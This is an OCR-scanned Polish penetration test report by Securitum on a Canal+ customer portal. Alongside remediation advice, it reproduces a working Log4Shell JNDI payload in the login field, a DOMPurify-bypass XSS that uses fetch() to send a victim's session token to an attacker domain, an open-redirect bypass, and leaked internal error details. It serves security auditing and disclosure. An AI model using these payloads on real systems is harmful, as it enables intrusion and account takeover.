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Podsumowanie wykonanych prac

Niniejszy raport jest podsumowaniem testow bezpieczenstwa przeprowadzonych przez firme Securitum.
Przedmiotem testéw byta aplikacja webowa ICA dostepna pod adresem https.//icard0.pl.canalplus.com/ po
potaczeniu sie przez tunel VPN dostarczony przez Zamawiajacego.

Testy aplikacji zostaty przeprowadzone z nastepujacymi poziomami uprawnien: uzytkownik anonimowy
(niezalogowany) oraz uzytkownik posiadajacy konto w aplikacji (zalogowany klient - grupa ,Abonenci”).

Najistotniejsze znalezione podatnosci to:
e [HIGH] SECURITUM-215508-001: Podatna biblioteka Apache Log4j (Log4Shell, CVE-2021-44228), ktdra
w okreslonych warunkach stwarza ryzyko zdalnego wykonania kodu.
e [MEDIUM] SECURITUM-215508-002: Reflected Cross-Site Scripting (XSS) w nieaktualnym
komponencie Swagger Ul, mozliwo$¢ wykonania wiasnego kodu HTML/JavaScript.

W trakcie audytu szczegdlny nacisk potozono na podatnosci majace lub mogace mie¢ negatywny wptyw na
poufnos¢, integralnos¢ oraz dostepnosc przetwarzanych danych.

Testy bezpieczenstwa przeprowadzono zgodnie z powszechnie przyjetymi metodykami testowania aplikacji
webowych, takimi jak: OWASP TOP10 czy (w wybranym zakresie) OWASP ASVS, jak réwniez wewnetrznymi
metodykami przeprowadzania testow bezpieczenstwa firmy Securitum.

W ramach audytu wykorzystano podejscie polegajace na testach manualnych opartych na wymienionych
wyzej metodykach, jak i wsparcie tych czynnosci szeregiem narzedzi automatycznych, m.in. Burp Suite
Professional, ffuf, Nikto, nmap.

Podatnosci zostaty szczegdtowo opisane w dalszej czesci raportu.

Wytaczenia z zakresu testow

Nastepujgce funkcjonalnosci nie zostaty skonfigurowane na $rodowisku testowym i zostaty wytaczone
z zakresu testow:

e Nie pamietam hasta,

e Zarejestrujsie,

e Zarejestruj sie - Przypomnij numer abonenta,

e [Imie Nazwisko] — Ustawienia logowania,

e Strona gtéwna - Zaptad online - Ptatnosci automatyczne - Optacenie salda / Ptatnos¢ weryfikacyjna,

e Strona gtéwna - Nasze propozycje dla ciebie,

e Ptatnosci - Rachunkiihistoria — E-rachunek,

e Ptatnosci - Ustawienie ptatnosci,

e Moja oferta - Historia ofert - Dokumenty do pobrania - Pobierz,

e Moja oferta - Dane i zgody - Adres korespondencyjny / E-mail kontaktowy — Zmien,

e Kontakt - Nowe zgtoszenie,

e Dla uzytkownika - Zgtoszenia,

e grafiki pobierane z https://rd0-cms-ica.canalplus.pl/wordpress/.
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Klasyfikacja podatnosci

Podatnosci  zostaty  sklasyfikowane ~w  pieciostopniowe]  skali  odzwierciedlajacej  zaréwno
prawdopodobienstwo znalezienia podatnosci, jak i istotno$¢ skutkdéw jej wykorzystania. Ponizej zawarto
krotki opis kazdego z poziomdw istotnosci:

. CRITICAL (podatnos¢ krytyczna) — wykorzystanie podatnosci umozliwia przejecie petnej kontroli
nad serwerem lub urzadzeniem sieciowym albo pozwala uzyska¢ dostep (w trybie zapisu i/lub
odczytu) do danych o duzym poziomie poufnosci i istotnosci. Zazwyczaj podatnosc jest tez tatwa
do wykorzystania, tj. nie wymaga od napastnika posiadania dostepu do systemow, ktére sa trudne
do zdobycia, lub przeprowadzania atakdédw socjotechnicznych. Podatnosci oznaczone jako
CRITICAL powinny by¢ naprawione bezzwtocznie, jesli wystepuja na srodowisku produkcyjnym.

. HIGH (podatno$¢ o wysokim poziomie istotnosci) — wykorzystanie podatnosci pozwala na
uzyskanie dostepu do wrazliwych informacji (podobnie jak przy poziomie krytycznym), jednak
moze wczesniej wymagac spetnienia pewnych warunkoéw (np. posiadania konta uzytkownika
w wewnetrznym systemie) w celu praktycznego wykorzystania. Alternatywnie: podatno$¢ moze
zostaé w tatwy sposéb wykorzystana, jednak ograniczone sa jej skutki.

. MEDIUM (podatnos¢ o Srednim poziomie istotnosci) - wykorzystanie podatnosci moze zaleze¢ od
zewnetrznych czynnikéw (np. wymaga przekonania uzytkownika do klikniecia w tacze) lub moze
wymagad trudnych do spetnienia warunkéw. Ponadto wykorzystanie podatnosci zazwyczaj

umozliwia dostep tylko do ograniczonej ilosci danych lub do danych o mniejszym poziomie
istotnosci.

. LOW (podatnos¢ o niskim poziomie istotnosci) — wykorzystanie podatnosci ma niewielki
bezposredni wptyw na bezpieczenstwo aplikacji lub wymaga bardzo trudnych warunkéw do
spetnienia (np. fizyczny dostep do serwera).

. INFO (ogdlne zalecenia lub informacja) - punkty oznaczone poziomem INFO nie sa podatno$ciami
bezpieczenstwa. Wskazuja jednak dobre praktyki, ktérych zastosowanie pozwala zwiekszyc
ogblny poziom bezpieczenstwa aplikacji. Alternatywnie: zwracaja uwage na pewne rozwigzania
(np. architektoniczne), pozwalajace uszczelni¢ aplikacje.

Zestawienie statystyczne

Ponizej zestawienie statystyczne znalezionych podatnosci:

Krytyczne zagrozenie
Wysokie zagrozenie -
Srednie zagrozenie -
Niskie zagrozenie
0 1 2 3 4 5 6 7 8

Ponadto zgtoszono 11 punktéw informacyjnych.
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Historia zmian
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Wersja

Opis zmiany
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Utworzono raport z testéw bezpieczenstwa.

Zgtoszono podatnosci i punkty informacyjne od SECURITUM-215508-
001 do SECURITUM-215508-020.
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Podatnosci w aplikacji webowej

securitum



[HIGH] SECURITUM-215508-001: Podatna biblioteka Apache Log4j

(LogaShell, CVE-2021-44228)

(0]

W aplikacji wykryto podatnosc¢ CVE-2021-44228. Petne wykorzystanie tej podatnosci pozwala na wykonywanie
komend systemowych (ang. Remote Code Execution, RCE) z uprawnieniami uzytkownika, na jakim dziata
aplikacja.

W trakcie czasu przeznaczonego na audyt nie udato sie przygotowac petnego scenariusza (Proof of Concept),
ktory umozliwitby wykonanie komend systemowych. Potwierdzono jedynie wykonywanie zadan DNS. Z tego
powodu istotno$¢ podatnosci obnizono z poziomu CRITICAL do HIGH.

Wiecej informacji:

e https://sekurak.pl/krytyczna-podatnosc-w-log4j-co-wiemy-jak-wygladaja-ataki-jak-sie-chronic-cve-

2021-44228-rce/
e https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ wystepowanie podatnosci, nalezy wykonaé nastepujace kroki:

1. Podac¢ dowolne dane w formularzu logowania.
2. Wystac formularz i narzedziem typu proxy (np. Burp Suite) przechwyci¢ zadanie:

POST /cas/login HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

username=adres&password=haslo&lt=LT-[..].cplus.wew&execution=d8f09c11-
[..]Jmdw%3D%3D&hash=& eventId_submit=ZALOGUJ

3. Zmieni¢ wartos¢ parametru username na ${jndi:1dap://[..domena..].pl/} (nalezy miec¢ kontrole nad
podang domena):

POST /cas/login HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

username=${jndi:1ldap://[..domena..].pl/}&password=[..]1&1t=LT-[..].cplus.wew&execution=d8f@9c11-
[..]Jmdw%3D%3D&hash=& eventId_submit=ZALOGUJ

4. Odpowied? aplikacji:

HTTP/1.1 200

Cache-Control: no-store

Content-Type: text/html;charset=UTF-8
Date: Wed, 15 Dec 2021 15:41:17 GMT
Connection: close

Server: nc+ app server
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Content-Length: 24057

[.]

<div class="box" id="login">

<form id="user-login" novalidate="novalidate" class="vod-modal-form" action="/cas/login"
method="post">

<div id="msg" class="alert alert-danger">Btedny login lub haso.</div>

[.]

5. Pokilku minutach rejestrowana jest interakcja DNS na podang domene:

The Collaborator server received a DNS lookup of type AAAA for the domain name [..domena..].pl.

The lookup was received from IP address 91.232.176.226 at 2021-Dec-15 15:44:20 UTC

6. Informacja nt. adresu IP, z ktérego nastgpita interakcja:

$ whois 91.232.176.226

% IANA WHOIS server

% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

[.]

# whois.ripe.net

inetnum: 91.232.176.0 - 91.232.176.255
netname: Canal

country: PL

[..]

organisation: ORG-CCSz2-RIPE

org-name: ITI NEOVISION SPOLKA AKCYJNA
org-type: OTHER

address: CANAL+ Cyfrowy Sp. z o.o.

[..]

Uwagi:

e Obserwowana interakcja najczesciej nastepuje z opdznieniem kilku/kilkunastu minut. Nie jest jasne,
Co jest przyczyng opdznienia.

e Nie udato sie wydoby¢ zadnych danych wykorzystujac eksfiltracje po ustudze DNS.

e Nie zaobserwowano interakcji LDAP ani RMI. By¢ moze przyczyng jest blokada na zaporze ogniowej
(ang. firewall).

LOKALIZACIA

POST https://icard0.pl.canalplus.com/cas/login, parametry: username, 1t

REKOMENDACIA

Nalezy zastosowac jedno z ponizszych rozwiazan:




e W przypadku uzywania srodowiska Java 8 (lub nowszego) nalezy zaktualizowad wersje biblioteki
Apache Log4j do wersji co najmniej 2.16.0. Ze wzgledu na inne podatnosci rekomendowana jest
aktualizacja do najnowszej stabilnej wersji.

e W przypadku uzywania srodowiska Java 7 nalezy zaktualizowac wersje biblioteki Apache Log4j do
wersji 2.12.2.

e Jesli powyzsze nie jest mozliwe, mozna usunac klase JndiLookup ze Sciezki klas: zip -q -d log4j-
core-*.jar org/apache/logging/log4j/core/lookup/IndiLookup.class (dla wersjiinnych niz2.16.0).

Wiecej informacji:

e https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
e https://logging.apache.org/log4i/2.x/security.html
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Oris

Testowana aplikacja podatna jest na atak Reflected Cross-Site Scripting. Atakujacy dodajac do przesytanych
do aplikacji parametréw odpowiednio spreparowany kod HTML/JavaScript, moze w imieniu uzytkownika
(ofiary) wykona¢ w aplikacji nieautoryzowane operacje lub nawet przeja¢ dostep do aplikacji. Podatnosc¢
wystepuje w przestarzatym komponencie Swagger Ul, ktory wykorzystuje podatng wersje DOMPurify (zob.
podatnos¢: ,.SECURITUM-215508-018: Dokumentacja API, narzedzie Swagger”).

Wiecej informacji:

e https://sekurak.pl/czym-jest-xss/

e https://cdn.sekurak.pl/podatnosc XSS.pdf

e https://owasp.org/www-community/attacks/xss/
e https://cwe.mitre.org/data/definitions/79.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Uzytkownik musi klikna¢ w hipertacze przestane przez atakujgcego.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — podstawowy

W celu potwierdzenia wystepowania podatnosci nalezy przejs¢ pod adres:

https://icard@.pl.canalplus.com/swagger-
ui.html?url=data:;base64,c3dhZ2d1lcjogIjIuMCINCmluZm86DQogIHRpdGx10iBYU1Mgdm1lhIERPTVB1cmlmeQOKICBk
ZXNjcmlwdGlvbjogPG1lhdGg+PG10ZXhOPjxvcHRpb24+PHhzcz48b3BOaWOuPjwvb3BOaWOuPjxtZ2x5cGg+PHN2Zz48bXR1e
HQ+PHNO@eWx1PjxhIHRpdGx1PSI8L3NOeWx1PjxpbWcgb251cnIvcjlhbGVydChkb2N1bWVudC5kb21haW4pIHNyYz4iPg==

Wykonanie kodu JavaScript (wyswietlone okno) $wiadczy o wystepowaniu podatnosci:

@ Swagger Ul X +

C O B https:/ficard0.pl.canalplus.com/swagger-ui.html?url=data:;base64,c3dhz2dlc ¥¥

@ icard0.pl.canalplus.com

icard0.pl.canalplus.com

+48 (12) 361 3337 www.securitum.pl
securitum@securitum.pl www.sekurak.pl
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Swagger Ul domyslnie przyjmuje parametr url, ktéry pozwala wskaza¢, z jakiego adresu URL majg zostad
pobrane definicje API. Te definicje moga zawierac tekst w postaci HTML-a, ktory jest renderowany. HTML jest
filtrowany przez DOMPurify, ale powyzej uzyto obejscia dostepnego dla starszych wers;ji.

Zaznaczony w adresie URL na zotto fragment to zakodowany w Base64 kod YAML o nastepujacej tresci:

swagger: "2.0"
info:

title: XSS via DOMPurify

description: <math><mtext><option><xss><option></option><mglyph><svg><mtext><style><a
title="</style><img onerror=alert(document.domain) src>">

Przyktad #2 — pozyskanie tokena sesyjnego
Aby pozyskac token sesyjny, powyzszy kod YAML nalezy zmodyfikowad nastepujgco:

swagger: "2.0"
info:

title: XSS via DOMPurify

description: <math><mtext><option><xss><option></option><mglyph><svg><mtext><style><a
title="</style><img onerror=fetch('//[..domena..].pl/'+localStorage.icaTokenApi) src>">

gdzie podana domena jest pod kontrolg atakujgcego.

Wynikowy adres z takim kodem wyglada nastepujaco:

https://icard@.pl.canalplus.com/swagger-
ui.html?url=data:;base64,c3dhZ2d1lcjogIjIuMCINCmluZm86DQogIHRpdGx10iBYU1Mgdm1lhIERPTVB1cmlmeQOKICBk
ZXNjcmlwdGlvbjogPGlhdGg+PG10ZXhOPjxvcHRpb24+PHhzcz48b3BOaWOuPjwvb3BOaWOuPjxtZ2x5cGg+PHN2Zz48bXR1e
HQ+PHN@eWx1PjxhIHRpdGx1PSI8L3NOeWx1PjxpbWcgb251cnIvcjimZXRjaCgn[...]LycrbG9jYWxTdGOyYWd1LmljYVRva2V
UQXBpKSBzcmM+Ij4=

Gdy uzytkownik (ofiara) zalogowany uprzednio w aplikacji wejdzie na powyzszy adres, na serwer kontrolowany
przez atakujacego wykonana zostanie nastepujaca interakcja, zawierajaca token sesyjny:

GET /eyJ@eXAi0iJKV1Qi[..]1c9BbINFsj7Byb@g HTTP/1.1

Host: [..domena..].pl

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*

Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: https://icard@.pl.canalplus.com/

Origin: https://icard@.pl.canalplus.com

Connection: close

Uzywajac pozyskany token, atakujacy wysyta przyktadowe zadanie do API:

POST /api/contract/details HTTP/1.1

Host: icard@.pl.canalplus.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: application/json, text/plain, */*

Content-Type: application/json

Api-Auth: eyJ@eXAiO0iJKV1Qi[..]1c9BbINFsj7Bybog

Content-Length: 2

{}

Odpowiedz zawiera dane uzytkownika (ofiary):
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HTTP/1.1 200 OK

[..]

Date: Thu, 09 Dec 2021 10:10:19 GMT

Set-Cookie: canal+app=[..]; path=/; Httponly; Secure
Set-Cookie: TS@laae88b=[..]; Path=/

Server: nc+ app server

Content-Length: 5316

{"status":0, "message" :null, "data":{"customerNumber":85[..]1, "contractNumber":1, "contractType":"TV"
,"parent”:null,"activity":"AKTYWNA", "offerEndDate":"2023-02-

28",[..]"firstName" : "PELAGIA", "lastName":"[..]", "onePayment":false, "onePaymentDeactivationPending":
false, "onePaymentStatus":"INACTIVE", "directDebit":false, "showPayments":true,"cformu":"@3","lastAc

cess":null, "contractName": "nazwaumowyy", "msisdn" :null, "companyName" :null, "pesel":"2[..]1","identif
icationId":"I[..]8","residenceCard":null, "passportNumber":null, "taxId":null,[..]

LOKALIZACIA

Swagger Ul - https://icard0.pl.canalplus.com/swagger-ui.html

REKOMENDACIA

Zaleca sie usunac Swagger Ul z serwera, jesli nie jest on uzywany. Jesli jest niezbedny do dziatania aplikacji,
nalezy zaktualizowac oprogramowanie do najnowszej stabilnej wersji.



[LOW] SECURITUM-215508-003: Nieaktualne wersje stosowanego
oprogramowania

(0]

Komponentami testowanej aplikacji sa: oprogramowanie serwerowe Apache Tomcat oraz biblioteki
JavaScript (AngularJS, Bootstrap, jQuery) w nieaktualnych wersjach. Dodatkowo w sieci mozna znalez¢
informacje, ze posiadajg one publicznie znane btedy bezpieczefistwa (wiecej informacji w sekcji ,Szczegdty
techniczne”). Ponadto wsparcie dla Apache Tomcat 8.0.x zakonczyto sie 30 czerwca 2018 r. Oznacza to, ze dla
tej gatezi zgtoszenia o lukach w zabezpieczeniach nie sg sprawdzane i btedy nie sg usuwane. W trakcie testow
nie udato sie przygotowac dziatajacego scenariusza (Proof of Concept) zwykorzystaniem opisywanych
podatnosci, niemniej sam fakt wykorzystania oprogramowania posiadajacego znane publicznie podatnosci
bezpieczenstwa wyczerpuje warunek konieczny do umieszczenia takiej informacji w raporcie.

Na serwerze umieszone jest rowniez narzedzie Swagger w nieaktualnej wersji — wiecej informacji w opisie
,SECURITUM-215508-002: Reflected Cross-Site Scripting (XSS) - Swagger UI”.

Wiecej informacji:

e https://owasp.org/www-project-top-ten/OWASP _Top Ten 2017/Top 10-2017 A9-
Using Components with Known Vulnerabilities

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Zalezne od podatnosci.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — Apache Tomcat 8.0.24

Na podstawie podatnosci ,SECURITUM-215508-007: Ujawnianie nadmiarowych informacji o $rodowisku
w odpowiedzi HTTP”.

Podatnosci:

e http://tomcat.apache.org/security-8.html

Informacja o koncu wsparcia:

e http://tomcat.apache.org/tomcat-80-eol.html
Przyktad #2 — Bootstrap 3.3.6
W pliku:

https://icard@.pl.canalplus.com/cas/vendors/bootstrap.min.js

widoczna jest nastepujaca wersja biblioteki:

HTTP/1.1 200

[..]

Date: Thu, 02 Dec 2021 16:18:28 GMT
Connection: close

Server: nc+ app server

/*!




* Bootstrap v3.3.6 (http://getbootstrap.com)
* Copyright 2011-2015 Twitter, Inc.

* Licensed under the MIT license

*/

[..]

Podatnosci:

e https://nvd.nist.gov/vuln/detail/CVE-2018-14040
e https://nvd.nist.gov/vuln/detail/CVE-2018-14041
e https://nvd.nist.gov/vuln/detail/CVE-2018-14042
e https://nvd.nist.gov/vuln/detail/CVE-2019-8331

Przyktad #3 — jQuery 1.11.3, jQuery Ul 1.11.4
Widok konsoli przegladarki:

» document.URL
& "“https://icard@.pl.canalplus.com/cas/login"

» jQuery.fn.jquery
"1.11.3"

» $.ui.version /* jQuery UI */
& "1.11.4"

Podatnosci:

e https://nvd.nist.gov/vuln/detail/CVE-2015-9251

e https://nvd.nist.gov/vuln/detail/CVE-2019-11358
e https://nvd.nist.gov/vuln/detail/CVE-2020-11022
e https://nvd.nist.gov/vuln/detail/CVE-2020-11023

Przyktad #4 — jQuery 2.1.4, Angular)S 1.5.11
W pliku:

https://icard@.pl.canalplus.com/scripts/vendor-login.js?v=1a5a3a75bb48

widoczne sg nastepujace wersje bibliotek:

HTTP/1.1 200 OK
X-Application-Context: ICA

[..]

Date: Thu, 02 Dec 2021 18:56:06 GMT
Connection: close

Server: nc+ app server

if(navigator.userAgent.match(/IEMobile\/10\.0/)){var

msViewportStyle=document.createElement("style");msViewportStyle.appendChild(document.createTextNo
de("@-ms-

viewport{width:auto!important}")),document.querySelector("head").appendChild(msViewportStyle)}/*!
* jQuery JavaScript Library v2.1.4

http://jquery.com/

Includes Sizzle.js
http://sizzlejs.com/

*
*
*
*
*
*

Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors

securitum




* Released under the MIT license
* http://jquery.org/license
*
* Date: 2015-04-28T16:01Z
*/
[..]
J**
* @license AngulardS v1.5.11
* (c) 2010-2017 Google, Inc. http://angularjs.org
* License: MIT
*/
[..]

PodatnoscijQuery:

e https://nvd.nist.gov/vuln/detail/CVE-2015-9251

e https://nvd.nist.gov/vuln/detail/CVE-2019-11358
e https://nvd.nist.gov/vuln/detail/CVE-2020-11022
e https://nvd.nist.gov/vuln/detail/CVE-2020-11023

Podatnos¢ AngularJs:

e https://nvd.nist.gov/vuln/detail/CVE-2020-7676

Przyktad #5 — Swagger 3.17.1
Na podstawie: ,SECURITUM-215508-018: Dokumentacja API, narzedzie Swagger”.
Podatnosci:

e, SECURITUM-215508-002: Reflected Cross-Site Scripting (XSS) — Swagger UI”,
e https://snyk.io/vuln/npm:swagger-ui@3.17.1

Przyktad #6 — iText 2.1.7

Na podstawie: ,SECURITUM-215508-008: Ujawnianie nadmiarowych informacji o Srodowisku w metadanych
plikéw PDF”.

Podatnos¢:

e https://nvd.nist.gov/vuln/detail/CVE-2017-9096

LOKALIZACIA
Przyktad #1 Oprogramowanie serwera.
Przyktady #2,3,4 Biblioteki JavaScript:

e https://icard0.pl.canalplus.com/cas/vendors/bootstrap.min.js
e https://icard0.pl.canalplus.com/cas/vendors/jquery.min.js
e https://icardO.pl.canalplus.com/scripts/vendor-login.js?v=[...]

Przyktad #5 Narzedzie Swagger:
e SECURITUM-215508-018: Dokumentacja API, narzedzie Swagger”.
Przyktad #6 Generator plikéw PDF.

securitum



REKOMENDACIA

Zaleca sie aktualizacje oprogramowania do najnowszych, stabilnych wersji.



[LOW] SECURITUM-215508-004: Open Redirect - moizliwos¢
przekierowania uzytkownika na ztosliwg domene

(0]

Analiza wykazata, ze aplikacja nie waliduje poprawnie adresu URL przekazywanego przez uzytkownika, na
ktory nastepuje przekierowanie. Atakujacy, wykorzystujac ten fakt, moze przesta¢ uzytkownika na ztosliwa
strone.

Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated Redirects and Forwards Cheat She
et.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do odpowiedniej domeny.

Uzytkownik musi kliknac w link przestany przez atakujacego.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zamieszczono przyktadowy adres, w ktérym wprowadzany jest adres URL (parametr service), na jaki
nastepuje przekierowanie po zalogowaniu:

https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Ficard®.pl.canalplus.com%2Flogin%2
Fcas

Zgodnie z protokotem CAS', aby nastapito przekierowanie bez podawania danych do logowania (tj. bez
logowania), nalezy dodac parametr gateway=true:

https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Ficard®.pl.canalplus.com%2Flogin%2
Fcas&gateway=true

Adres z parametru service jest filtrowany. Jesli nie jest zgodny z oczekiwaniem, nie nastepuje przekierowanie.
Przyktadowo przejscie pod adres:

https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Fsekurak.pl%2Flogin%2Fcas&gateway=
true

powoduje otrzymanie strony o kodzie 200 z panelem logowania:

HTTP/1.1 200

Cache-Control: no-store

Content-Type: text/html;charset=UTF-8
Content-Language: pl

Content-Length: 5800

Date: Thu, 02 Dec 2021 17:39:07 GMT

[.]

[.]

1 https://apereo.github.io/cas/6.2.x/protocol/CAS-Protocol-Specification.html#211-parameters




<div class="box" id="login">
<div class="alert alert-danger">
<h2>Brak uprawnien do korzystania z CAS</h2>
<p>Aplikacja, w ktérej chciates zostaé uwierzytelniony nie ma uprawniern do korzystania z
CAS.</p>
</div>
</div>

[.]

Jednakze filtr prawdopodobnie oparty jest na wyrazeniu regularnym, w ktorym nie uwzgledniono znaku . jako
znaku specjalnego. Kropka . w wyrazeniach regularnych pozwala na dopasowanie dowolnego znaku.
W zwiazku z tym atakujacy, ktory zarejestruje przyktadowa domene:

icardexplxcanalplus.com

bedzie mdgt na nig przekierowad uzytkownikbw strony.

Przejscie pod adres:

https://icard@.pl.canalplus.com/cas/login?service=https%3A%2F%2Ficard@xplxcanalplus.com%2F&gatewa
y=true

powoduje wykonanie przekierowania:

HTTP/1.1 302

Cache-Control: no-store

Location: https://icard@xplxcanalplus.com/
Content-Length: @

Date: Thu, 02 Dec 2021 17:39:34 GMT
Connection: close

Server: nc+ app server

LOKALIZACIA

https://icard0.pl.canalplus.com/cas/login?service=l[...]&gateway=true
https://icard0.pl.canalplus.com/cas/logout?service=]...

Prawdopodobnie réwniez inne koncowki korzystajgce z parametru service.

REKOMENDACIA

Zaleca sie weryfikacje adresu docelowego, na jaki nastepuje przekierowanie, np. poprzez stworzenie listy
dozwolonych adreséw, na jakie moga zostac przekierowani uzytkownicy. Podczas korzystania z wyrazen
regularnych nalezy wszystkie znaki specjalne wystepujace w dozwolonych domenach poprzedzi¢ znakiem
ucieczki (np. \.).

Wiecej informacji:

e https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Unvalidated Redirects an
d Forwards Cheat Sheet.md

securitum




[LOW] SECURITUM-215508-005: Wyswietlanie szczegotowych
komunikatow o btedach

(0]

W trakcie realizacji testéw zaobserwowano, iz aplikacja ujawnia szczegbtowe komunikaty o btedach.
Atakujacy wykorzystujac ten fakt, moze doktadniej poznac aplikacje, m.in. zidentyfikowac¢ wykorzystywane
oprogramowanie (np. framework) oraz uzyska¢ cenne informacje, ktére pomoga w sprofilowaniu
i zaplanowaniu dalszych atakow.

Wiecej informacji:

e https://owasp.org/www-community/Improper Error Handling

e https://cheatsheetseries.owasp.org/cheatsheets/Error Handling Cheat Sheet.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Konto w aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Wszystkie ponizsze przyktady wymagaja wczesniejszego zalogowania sie do aplikacji.
Przyktad #1

Po zalogowaniu wysytane jest m.in. zadanie:

POST /api/vod/list HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{"value":100}

W odpowiedzi aplikacja ujawnia szczegdtowy komunikat btedu, w tym wewnetrzny adres IP:

HTTP/1.1 200 OK

[..]

Content-Type: application/json;charset=UTF-8
Date: Tue, 07 Dec 2021 09:41:36 GMT

[.]

{"status":400, "message":"I/0 error on GET request for \"http://10.48.20.149/VOD.xml\": Connection
refused; nested exception is java.net.ConnectException: Connection
refused","data":null, "timestamp" :1638870096054 }

Przyktad #2
Przejs¢ do: Moja oferta - Sprzet - Autodiagnostyka

Zostanie wystane m.in. nastepujace zadanie - z zadania usunac ciato i wystac zadanie bez ciata:

POST /api/equipment/diagnostic HTTP/1.1
Host: icard@.pl.canalplus.com

[.]




W odpowiedzi aplikacja ujawnia szczegbdtowy komunikat btedu, w ktérym widoczne sa uzyte technologie oraz
nazwa Dostawcy oprogramowania:

HTTP/1.1 400 Bad Request

[..]

Date: Thu, 02 Dec 2021 19:22:02 GMT

Connection: close

Server: nc+ app server

Content-Length: 506

{"status":400, "message":"Required request body is missing: public
pl.n[..]Jo.ica.api.core.ApiResponse<pl.n[..]o.ica.api.core.equipment.DiagnosticResponse>
com.pretius.nc.ica.api.EquipmentApiController.diagnostic(pl.n[..]Jo.ica.api.core.equipment.Diagnost
icRequest, com.pretius.nc.ica.selfcare.model.core.IcaUser,javax.servlet.http.HttpSession) throws
java.lang.NoSuchMethodException","data" :null, "timestamp":1638869700273}

W przypadku uzycia w ww. Zadaniu parametru serialNumber o zbyt dtugiej wartosci zostanie zwrécony btad
bazy danych, wraz z wykonywanym zapytaniem SQL:

HTTP/1.1 200 OK

[..]
Date: Wed, 08 Dec 2021 18:52:10 GMT

[.]

{"status":500, "message" : "\n### Error updating database. Cause: java.sql.SQLException: ORA-12899:
value too large for column \"ICA\".\"U_DIAG_EVENT_LOG\".\"UDIEL_NUMDEC\" (actual: 52, maximum:

32)\n\n### The error may involve defaultParameterMap\n### The error occurred while setting

parameters\n### SQL: insert into u_diag event_log ( udiel_numdec, udiel_numabo,
mpagc_code, udiel_request_date, udiel_is_gui_action ) values ( ¥y 2 2
sysdate, ? )\n##t# Cause: java.sql.SQLException: ORA-12899: value too large for column

\"ICA\".\"U_DIAG_EVENT_LOG\".\"UDIEL_NUMDEC\" (actual: 52, maximum: 32)\n\n; uncategorized
SQLException for SQL []; SQL state [72000]; error code [12899]; ORA-12899: value too large for
column \"ICA\".\"U_DIAG_EVENT_LOG\".\"UDIEL_NUMDEC\" (actual: 52, maximum: 32)\n; nested
exception is java.sql.SQLException: ORA-12899: value too large for column
\"ICA\".\"U_DIAG_EVENT_LOG\".\"UDIEL_NUMDEC\" (actual: 52, maximum:
32)\n","data" :null, "timestamp" :1638989530854}

Przyktad #3

Przejs¢ do: Ptatnosci - E-rachunek

Zostanie wystane nastepujace zadanie:

POST /api/finance/202107/pdf HTTP/1.1
Host: icard@.pl.canalplus.com

[.]

{}

W odpowiedzi aplikacja ujawnia szczegdtowy komunikat btedu, ujawniajacy uzywana baze danych:

HTTP/1.1 200 OK

[..]

Date: Tue, 07 Dec 2021 09:46:12 GMT
Connection: close

Server: nc+ app server
Content-Length: 243




{"status":500, "message":" Problem przy polaczeniu do LOBARCH: ORA-00942: table or view does not
existORA-02063: preceding line from LOBARCHORA-06512: at
\"INTERFACES.PL_LOBARCH_API_BILL_SELECT\", line 24","data":null,"timestamp":1638870372223}

Btedy o kodach ORA-[...] sa charakterystyczne dla bazy Oracle.

Komunikat btedu bazy danych znaleziono rowniez jako czes¢ wpisu umieszczonego na ogdlnodostepnym
forum:

https://forum.satkurier.pl/topic/32758-strefa-canal-ex-moje-nc-%E2%80%93-internetowe-centrum-
abonenta/page/16/

Zrzut ekranu:

[ ] SAT Strefa CANAL+ (ex Moje nc+) - X +

< C  [4) hitps://forum.satkurier.pl/t

5 tygodni pdzniej...

echolink Opublikowano 1 Listopada 2016 (edytowane) sse

Dziata komus$ zamawianie opcji dodatkowej?

@ Chodzi o btad:

Uzytkownicy inserted partition key does not map to any partition ORA-02063: preceding
line from LOBARCH {470728627}
® 144 Edytowane 1 Listopada 2016 przez echolink
o + Cytyj

Inne informacje

Ujawnienie adresu IP oraz portu:

I/0 error on POST request for "http://10.48.20.149:9999/cga-mof-ui/api/dictionaries": Server
returned HTTP response code: 500 for URL: http://10.48.20.149:9999/cga-mof-ui/api/dictionaries;
nested exception is java.io.IOException: Server returned HTTP response code: 500 for URL:
http://10.48.20.149:9999/cga-mof-ui/api/dictionaries

oraz:

I/0 error on POST request for "http://10.48.20.148:8000/DTHchangeMop"”: Connection refused; nested
exception is java.net.ConnectException: Connection refused

Ujawnienie nazwy wewnetrznej hosta:

I/0 error on GET request for "https://mycanalrd@/esb/findPaymentMeansForPerson": Connection
reset; nested exception is java.net.SocketException: Connection reset

LOKALIZACIA

API: https://icardO.pl.canalplus.com/api/[...]

securitum




REKOMENDACIA

Zaleca sie wytgczenie raportowania btedéw i zamiane komunikatéw na jeden spéjny wraz z mapowanym
